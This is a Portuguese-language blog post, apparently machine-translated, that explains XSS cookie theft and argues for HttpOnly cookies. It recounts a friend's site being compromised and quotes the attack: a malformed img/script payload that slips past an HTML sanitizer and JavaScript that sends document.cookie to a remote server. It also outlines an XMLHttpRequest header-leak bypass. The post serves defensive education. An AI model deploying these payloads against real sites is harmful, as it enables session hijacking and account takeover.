Protegendo seus cookies: HttpOnly

Então, eu tenho um amigo. Já disse a ele várias vezes como as vulnerabilidades XSS são perigosase como XSS é agora a mais comum de todas as vulnerabilidades de segurança relatadas publicamente — superando o padrões antigos como buffer overruns e injeção de SQL. Mas ele vai ouvir? Não. Ele é cabeça dura. Ele teve que escrever seu próprio higienizador de HTML. Porque, bem, quão difícil pode ser? Quão perigosa poderia ser essa linguagem de script de brinquedo boba executada dentro de um navegador ser?

Como se vê, muito mais perigoso do que o esperado.

Para avaliar o quanto os hacks de XSS se tornaram significativos, pense em quanto da sua vida é vivida on-line e como exatamente os sites nos quais você faz login diariamente sabem quem você é. Tudo isso é feito com o uso de um software de segurança. Tudo isso é feito com Cookies HTTP, certo? Esses pequenos cabeçalhos de identificação enviados pelo navegador ao servidor em nome do senhor. Eles são as chaves de sua identidade no que diz respeito ao site.

Na maioria das vezes, quando o senhor aceita a entrada do usuário, o primeira coisa que o senhor faz é passá-lo por um codificador HTML. Portanto, coisas complicadas como:

<script>alert('hello XSS!');</script>

são automaticamente convertidos em seus equivalentes codificados inofensivos:

&lt;script&gt;alert('hello XSS!');&lt;/script&gt;

Em defesa do meu amigo (não que ele mereça qualquer tipo de defesa), o site em que ele está trabalhando permite que alguns HTML sejam publicados pelos usuários. Isso faz parte do design. É um cenário difícil, porque o senhor não pode simplesmente eliminar todas as coisas questionáveis que chegam pelo cabo do usuário. O senhor é colocado na posição desconfortável de ter que discernir o que é bom do que é ruim e decidir o que fazer com o que é questionável.

Imagine, então, a surpresa do meu amigo quando notou alguns usuários empreendedores em seu site estavam conectados como ele e estavam trabalhando alegremente no sistema com privilégios administrativos completos e sem restrições.

Como isso aconteceu? XSS, é claro. Tudo começou com esse trecho de script adicionado à página de perfil de um usuário.

<img src=""http://www.a.com/a.jpg<script type=text/javascript
src="http://1.2.3.4:81/xss.js">" /><<img
src=""http://www.a.com/a.jpg</script>"

Por meio de uma construção inteligente, o URL malformado consegue passar pelo desinfetante. O código renderizado final, quando visualizado no navegador, carrega e executa um script desse servidor remoto. Veja a seguir a aparência desse JavaScript:

window.location="http://1.2.3.4:81/r.php?u="
+document.links[1].text
+"&l="+document.links[1]
+"&c="+document.cookie;

É isso mesmo: quem quer que carregue essa página de perfil de usuário com injeção de script acaba de, sem querer transmitiu os cookies de seu navegador para um servidor remoto maligno!

Como já estabelecemos, quando alguém tem os cookies do seu navegador para um determinado site, essa pessoa tem basicamente as chaves do reino para sua identidade. Se o senhor não acredita em mim, obtenha o Add N Edit cookies extension para Firefox e experimente você mesmo. Faça login em um site, copie os valores essenciais do cookie e cole-os em outro navegador executado em outro computador. Isso é tudo o que é necessário. É uma grande revelação.

Se os cookies são tão preciosos, o senhor pode se perguntar por que os navegadores não fazem um trabalho melhor para proteger seus cookies. Eu sei que meu amigo estava. Bem, há uma maneira de proteger os cookies da maioria dos JavaScript mal-intencionados: Cookies HttpOnly.

Quando o senhor marca um cookie com o sinalizador HttpOnly, ele informa ao navegador que esse cookie específico só deve ser acessado pelo servidor. Qualquer tentativa de acessar o cookie a partir do script do cliente é estritamente proibida. Obviamente, isso pressupõe que o senhor tenha:

  1. Um navegador da Web moderno
  2. Um navegador que realmente implementa o HttpOnly corretamente

A boa notícia é que a maioria dos navegadores modernos suporta o sinalizador HttpOnly: Opera 9.5, Internet Explorer 7 e Firefox 3. Não tenho certeza se as versões mais recentes do Safari suportam ou não. É um tanto irônico que o sinalizador HttpOnly tenha sido criado pela Microsoft no antigo Internet Explorer 6 SP1, um navegador que não é exatamente conhecido por seu histórico de segurança.

Sem dúvida, Os cookies HttpOnly são uma ótima ideia e, se implementados adequadamente, tornam muito mais difícil a realização de grandes classes de ataques XSS comuns. Esta é a aparência de um cookie com o sinalizador HttpOnly definido:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
Set-Cookie: ASP.NET_SessionId=ig2fac55; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
Set-Cookie: user=t=bfabf0b1c1133a822; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Tue, 26 Aug 2008 10:51:08 GMT
Content-Length: 2838

Isso não é exatamente uma novidade; Scott Hanselman escreveu sobre o HttpOnly há algum tempo. Não sei se ele entendeu as implicações, pois foi rápido em descartá-lo como “desaceleração do script kiddie médio por 15 segundos”. Em sua defesa, isso foi em 2005. Uma época sombria e primitiva. Quase antes do YouTube.

Os cookies HttpOnly podem, de fato, ser extremamente eficazes. O que sabemos é o seguinte:

  • O HttpOnly restringe todo o acesso ao document.cookie no IE7, Firefox 3 e Opera 9.5 (não tenho certeza sobre o Safari)
  • O HttpOnly remove as informações de cookie dos cabeçalhos de resposta no XMLHttpObject.getAllResponseHeaders() no IE7. Ele deveria fazer a mesma coisa no Firefox, mas não faz, porque o há um bug.
  • XMLHttpObjects só podem ser enviados para o domínio de onde se originaram, portanto, não há publicação dos cookies entre domínios.

A grande falha de segurança, conforme mencionado acima, é que o Firefox (e presumivelmente o Opera) permite o acesso aos cabeçalhos por meio do XMLHttpObject. Assim, o senhor poderia fazer uma chamada JavaScript trivial de volta ao servidor local, obter os cabeçalhos da cadeia de caracteres e, em seguida, postá-la de volta em um domínio externo. Não é tão fácil quanto o document.cookie, mas não é uma façanha da engenharia de software.

Mesmo com essas ressalvas, acredito que os cookies HttpOnly são uma grande vitória em termos de segurança. Se eu, quer dizer, se meu amigo, tivesse implementado os cookies HttpOnly, o senhor poderia ter feito o mesmo, ele teria protegido totalmente seus usuários do exploit acima!

Os cookies HttpOnly não o tornam imune ao roubo de cookies XSS, mas elevam consideravelmente o nível. É praticamente gratuito, uma configuração do tipo “configure e esqueça” que se tornará cada vez mais segura com o tempo, à medida que mais navegadores seguirem o exemplo do IE7 e implementarem corretamente a segurança de cookies HttpOnly no lado do cliente. Se o senhor desenvolve aplicativos da Web ou conhece alguém que desenvolve aplicativos da Web, certifique-se de que eles conheçam os cookies HttpOnly.

Agora só preciso contar ao meu amigo sobre eles. Não sei por que me preocupo com isso. De qualquer forma, ele nunca me ouve.

(Agradecimentos especiais a Shawn desenvolvedor especialista Simon por sua ajuda na elaboração deste post).